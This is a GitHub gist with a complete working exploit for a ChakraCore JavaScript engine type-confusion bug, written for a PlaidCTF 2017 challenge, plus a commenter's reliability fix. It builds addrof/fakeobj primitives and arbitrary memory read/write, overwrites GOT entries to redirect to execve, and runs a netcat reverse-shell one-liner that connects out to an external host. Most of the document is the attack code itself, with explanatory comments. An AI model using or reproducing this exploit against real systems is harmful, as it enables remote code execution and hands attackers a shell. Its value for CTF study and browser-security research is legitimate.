Skip to content

Instantly share code, notes, and snippets.

@eboda
Last active September 14, 2021 13:20
Show Gist options
  • Save eboda/18a3d26cb18f8ded28c899cbd61aeaba to your computer and use it in GitHub Desktop.
Save eboda/18a3d26cb18f8ded28c899cbd61aeaba to your computer and use it in GitHub Desktop.
Exploit for Chakrazy challenge from PlaidCTF 2017 - ChakraCore exploit
////////////////////////////////////////////////////////////////////////////
//
// The vulnerability was that the following line of code could change the type of the
// underlying Array from JavascriptNativeIntArray to JavascriptArray:
//
// spreadableCheckedAndTrue = JavascriptOperators::IsConcatSpreadable(aItem) != FALSE;
//
// As can be seen in the provided .diff, the check for whether the type of the pDestArray has changed
// was removed. If the aItem then is not a JavascriptArray, the following code path is taken:
// else
// {
// JavascriptArray *pVarDestArray = JavascriptNativeIntArray::ConvertToVarArray(pDestArray);
// ....
//
// Consequently in ConvertToVarArray() the pDestArray is converted to a JavascriptArray, even though it
// already is a JavascriptArray:
// ival = ((SparseArraySegment<int32>*)seg)->elements[i];
// The cast will let the ival be an int32, even though it actually should be a Val pointer.
//
// With this we can get primitives to leak addresses and fake objects, see comments in the
// corresponding functions below if you are interested. Using those primitives we achieve
// an arbitary read/write.
//
// From there, the basic exploitation idea is to overwrite GOT entries in a way that execve()
// will get called on input that we control. After looking through ChakraCore code I found a call to
// memmove in TypedArrayBase::Set(TypedArrayBase* source, uint32 offset). The memmove is called
// in the following way:
// void *ret_val = memmove_xplat(dst, src, count);
// It can be triggered by calling:
// var a = new Uint8Array(10);
// var b = new Uint8Array(10);
// a.set(b);
// In this case `dst` will point to the buffer of `a`, `src` to the buffer of `b` and `count` to the
// size of `b`. If we overwrite memmove() with execve() in the GOT, will have full control over
// the first two parameters, but unfortunately we do not control `count` very much.
//
// In order for execve() to succeed, we need `count` to be a valid pointer.
//
// After looking around some more in the code I found a call to memset() in
// SharedArrayBuffer::SharedArrayBuffer(uint32 length, DynamicType * type, Allocator allocator)
// which will move the value in r12 to rdx:
// mov rdx, r12
// call 0x7ffff5875f50
//
// Luckily for us, there is a valid pointer in r12 at the right time.
//
// Then all that is left to do:
// 1. Overwrite memmove@GOT with the address of the `mov rdx, r12` above
// 2. Overwrite memset@GOT with execve
// 3. Call cmd.set(args) and our command with the given arguments is executed.
//
///////////////////////////////////////////////////////////////////////////////////
function pwn() {
// exploit the bug and create our arbitrary r/w primitive
var mem = gimme_rw();
// get the base of libChakraCore.so
var base = get_base(mem);
console.log("[+] base @ " + base.toString(16));
// the following offets are hardcoded
var execve_got = base + 0xd9b790;
console.log("[+] execve_got @ " + execve_got.toString(16));
var execve_plt = mem.read64(execve_got);
console.log("[+] execve_plt @ " + execve_plt.toString(16));
var memmove_got = base + 0xd9b0f0;
console.log("[+] memmove_got @ " + memmove_got.toString(16));
var memset_got = base + 0xd9b218;
console.log("[+] memset_got @ " + memset_got.toString(16));
var load_ptr_in_rdx = base + 0x5c7c4b;
console.log("[+] load_ptr_in_rdx @ " + load_ptr_in_rdx.toString(16));
// now set up our command
var cmd = "/bin/sh";
// write the command into a Uint8Array
var target = new Uint8Array(0x1234);
for (var i = 0; i < cmd.length; i++) {
target[i] = cmd.charCodeAt(i);
}
// now set up the arguments for the command
// the payload here is jsut a simple reverse shell using netcat
// from http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
var args = ["dontcare", "-c", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc pwn.tax 1337 >/tmp/f"];
var arg_array = create_arg_array(args, mem);
// need to call .set() before exploiting to resolve
// some PLT entries i guess, otherwise we will segfault
(new Uint8Array(1)).set(1);
// overwrite memmove with load_ptr_in_rdx (which will call memset just after)
mem.write32(memmove_got, lower(load_ptr_in_rdx));
mem.write32(memmove_got+4, upper(load_ptr_in_rdx));
// overwrite memset with execve_plt
mem.write32(memset_got, lower(execve_plt));
// GIMME SHELL NOW
target.set(arg_array);
}
function cloneFunc( func ) {
// from http://stackoverflow.com/a/19515928
// used to create a copy of a function
var reFn = /^function\s*([^\s(]*)\s*\(([^)]*)\)[^{]*\{([^]*)\}$/gi
, s = func.toString().replace(/^\s|\s$/g, '')
, m = reFn.exec(s);
if (!m || !m.length) return;
var conf = {
name : m[1] || '',
args : m[2].replace(/\s+/g,'').split(','),
body : m[3] || ''
}
var clone = Function.prototype.constructor.apply(this, [].concat(conf.args, conf.body));
return clone;
}
function fakeobj(addr) {
// proxy function which clones the original function at each call
// this is needed cause otherwise the function gets JITed and does not
// work more than once
fakeobj_ = cloneFunc(fakeobj_);
return fakeobj_(addr);
}
function addrof(obj) {
addrof_ = cloneFunc(addrof_);
return addrof_(obj);
}
function fakeobj_(addr) {
// fakeobj() allows us to get a javascript handle for an arbitrary address
// Basically it can be used to somewhere in memory fake the layout and contents
// of an object and then actually return a handle for the object and use it
var a1 = [];
for (var i = 0; i < 0x100; i++) {
a1[i] = i;
}
var a2 = [lower(addr), upper(addr)];
var c = new Function();
c[Symbol.species] = function() {
new_array = [];
return new_array;
};
a1.constructor = c;
a2.__defineGetter__(Symbol.isConcatSpreadable, function () {
new_array[0] = {};
return true;
});
var res = a1.concat(a2);
return res[0x100/2];
}
function addrof_(obj) {
// addrof() allows to leak the memory location of an object
// this function uses the bug in JavascriptArray::ConcatIntArgs
var a = [0, 1, 2];
var b = [0, 1, 2];
var cons = new Function();
cons[Symbol.species] = function() {
qq = []; // here qq is just a JavascriptNativeIntArray
return qq;
}
// using the species contructor allows us to get a handle on the result array
// of functions such as map() or concat()
a.constructor = cons;
// Here we define a custom getter for the Symbol.isConcatSpreadable property
// In it we change the type of qq by simply assigning an object to it
fakeProp = { get: function() {
b[1] = obj;
qq[0] = obj; // qq was JavascriptNativeIntArray, now changed to JavascriptArray
return true;
}};
Object.defineProperty(b, Symbol.isConcatSpreadable, fakeProp);
// trigger the vulnerability
var c = a.concat(b);
return combine(c[0], c[1]);
}
function lower(x) {
// returns the lower 32bit of x
return parseInt(("0000000000000000" + x.toString(16)).substr(-8,8),16) | 0;
}
function upper(x) {
// returns the upper 32bit of x
return parseInt(("0000000000000000" + x.toString(16)).substr(-16, 8),16) | 0;
}
function combine(a, b) {
a = a >>> 0;
b = b >>> 0;
return parseInt(b.toString(16) + a.toString(16), 16);
}
// use Uint64Number to leak the Array vtable pointer
function leak_vtable() {
// We will place a JavascriptUint64Number object in the very
// last element of `a`. The memory layout will look something like this:
//
// [ vtable ptr of a | type ptr of a ]
// [ ... more header fields of a ... ]
// [ el0 el1 el2 el3 ]
// [ el4 el5 el6 el7 ]
// [ el8 el9 el10 el11 ]
// [ el12 el13 el14 el15 ]
// [ vtable ptr of b | type ptr of b ]
// [ .... more fields of b ... ]
//
// We will fake the object by setting el14 and el15 to point
// to a type struct containing the value 0x6, which we store in el4:
//
// [ vtable ptr of a | type ptr of a ]
// [ ... more header fields of a ... ]
// [ el0 el1 el2 el3 ]
// [ 0x6 el5 el6 el7 ]
// [ el8 el9 el10 el11 ]
// [ 0 0 ptr_to_el4 ] <--fake Uint64Number
// [ vtable ptr of b | type ptr of b ] <-*
// [ .... more fields of b ... ]
//
// Our fake JavascriptUint64Number will start at el12. The first qword
// is the vtable ptr (it wont be used so we dont set it), the second one
// is the type ptr (we set it to point to el4) and the third qword
// is the actual integer value.
// When we call parseInt(fakeUint64obj) it will grab and return
// the value from the third qword, which in our setup above is the
// vtable ptr of b.
var a = new Array(16);
for (var i = 0; i < 18;i++) a[i] = 0;
var b = new Array(16);
for (var i = 0; i < 18;i++) b[i] = 0x1337+i;
// get the address of the first array
a_addr = addrof(a);
// at offset 0x68 lies el4, i.e. the type of our fake Uint64 obj
uint64_type_ptr = a_addr + 0x68;
// we set el4 to 0x6 since 0x6 is the type of Uint64Number
a[4] = 0x6; // type of Uint64
// set up the type pointer for our fake a Uint64 object
a[16] = lower(uint64_type_ptr)
a[17] = upper(uint64_type_ptr)
// now everything is set up, we fake the Uint64 object
fakeUint64 = fakeobj(a_addr + 0x90)
// finally we leak the vtable pointer of b by calling parseInt()
// on our fake object
vtable = parseInt(fakeUint64);
return vtable
}
function gimme_rw() {
// For arbitrary read/write we will fake a Uint32Array inside the inline data
// of a regular Array. For a regular Array to have inline data it has to be initialized
// with at most 16 elements.
// Once we have the Uint32Array faked, we can control its buffer pointer and point
// it to wherever we want, allowing us to read/write at any address.
//
// In order to fake a Uint32Array we need to set 5 values: the vtable pointer, the type
// pointer, the ArrayBuffer pointer, its size and finally the buffer pointer. The memory layout
// will look like this:
//
// 0x00 | vtable ptr | type ptr | <----.
// 0x10 | ... | ... | |
// 0x20 | ... | ... | |
// ... ... ... >------ new Array(16)
// 0x50 | ... | vtable ptr | <-. |
// 0x60 | type ptr | 0 | | |
// 0x70 | 0 | size | >----- faked Uint32Array
// 0x80 | ArrayBuffer ptr | 0 | | |
// 0x90 | buffer ptr | ... | <-* |
// 0xa0 | ... | ... | |
// <--- *
// Then as we can see at the offset 0x58 we will have our fake Uint32Array.
//
// first we leak the vtable of an Array
array_vtable = leak_vtable();
console.log("[+] array vtable @ " + array_vtable.toString(16));
// Using an offset we calculate the Uint32Array vtable
uint_vtable = array_vtable - 0x18368;
console.log("[+] Uint32Array vtable @ " + uint_vtable.toString(16));
// Next we obtain the address of an ArrayBuffer
var ab = new ArrayBuffer(0x1000);
var ab_addr = addrof(ab);
// The type pointer should point to a struct whose first element
// is 0x30, which is the type id for a Uint32Array
var type = new Array(16);
type[0] = 0x30; // type == Uint32Array == 0x30
// the address we want is at offset 0x58 (where the inline data for Arrays begins)
var array_type = addrof(type)+0x58;
// now fake the Uint32Array object inside the inline data of the real Array
var real = new Array(16);
var real_addr = addrof(real);
// fake vtable pointer
real[0] = lower(uint_vtable);
real[1] = upper(uint_vtable);
// fake type pointer
real[2] = lower(array_type);
real[3] = upper(array_type);
// dont care
real[4] = 0;
real[5] = 0;
real[6] = 0;
real[7] = 0;
// fake size
real[8] = 0x1000;
real[9] = 0;
// fake ArrayBuffer pointer
real[10] = lower(ab_addr);
real[11] = upper(ab_addr);
// dont care
real[12] = 0;
real[13] = 0;
// the following creates an object which we will use to read and write
// memory arbitrarily
var memory = {
handle: fakeobj(real_addr + 0x58),
init: function(addr) {
// we set the buffer pointer of the fake Uint32Array to the
// target address
real[14] = lower(addr);
real[15] = upper(addr);
// Now get a handle to the fake object!
return memory.handle;
},
read32: function(addr) {
fake_array = memory.init(addr);
return fake_array[0];
},
read64: function(addr) {
fake_array = memory.init(addr);
return combine(fake_array[0], fake_array[1]);
},
write32: function(addr, data) {
fake_array = memory.init(addr);
fake_array[0] = data;
},
write64: function(addr, data) {
fake_array = memory.init(addr);
fake_array[0] = lower(data);
fake_array[1] = lower(upper);
}
}
return memory;
}
function get_base(mem) {
// the base can be found by reading the first vtable entry of an Array,
// which will be a pointer to the Finalize function. With an offet the
// base can be calculated
var x = new Array(16);
x_addr = addrof(x);
vtable = mem.read64(x_addr);
finalizer = mem.read64(vtable);
console.log(finalizer.toString(16));
return finalizer - 0x154a80; // hardcoded offset
}
function create_arg_array(args, mem) {
// This will generate a valid args array for execve()
// For this we will create first a Uint8Array which will contain our
// arg strings. For example if we want to execute `/bin/cat /etc/flag` later on
// the args array will contain ['dontcare', '/etc/flag', 0]
// arg_str is the array containing the actual arg strings
var arg_str = new Uint8Array(1000);
var arg_str_buf = addrof(arg_str) + 0x38; // offset 0x38 is the pointer to the actual buffer containing data
var arg_str_addr = mem.read64(arg_str_buf);
console.log("[+] arg_str @ " + arg_str_addr.toString(16));
// now we fill in the actual strings and at the same time create an arg_ptrs array
// containing pointers to those strings
var arg_ptrs = [];
var lastidx = 0; // current char counter
for (var i = 0; i < args.length; i++) {
arg_ptrs.push(arg_str_addr + lastidx);
// write the current arg string into the buffer
for (var j = 0; j < args[i].length; j++) {
arg_str[lastidx++] = args[i].charCodeAt(j);
}
arg_str[lastidx++] = 0; // null terminated strings
}
// Here we create another array in which we will write the pointers
// from the `arg_ptrs` array. Remember, those pointers point to our arg
// strings.
var buffer = new ArrayBuffer(1000);
var arg_array = new Uint32Array(buffer);
var arg_array_buf = addrof(arg_array) + 0x38
var arg_array_addr = mem.read64(arg_array_buf);
for (var i = 0; i < arg_ptrs.length; i++) {
arg_array[2*i] = lower(arg_ptrs[i]);
arg_array[2*i + 1] = upper(arg_ptrs[i]);
}
console.log("[+] arg_ptr_buf @ " + arg_array_addr.toString(16));
// now arg_array contains pointers to the argument strings
// we can simply return a Uint8Array (this is important for later) now
return new Uint8Array(buffer);
}
pwn();
@wizche
Copy link

wizche commented Mar 22, 2021

From time to time this is crashing, the cause is the combine function that fail if the lower 32 bits have one (or more) leading zeros:

combine(0x00001234, 0x1be).toString(16)
"1be1234"

instead of 0x1be00001234.
The fastest way to fix this is to pad after the toString to 8 digits.

return parseInt(b.toString(16).padStart(8,"0") + a.toString(16), 16);

Hope this helps... Cheers

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment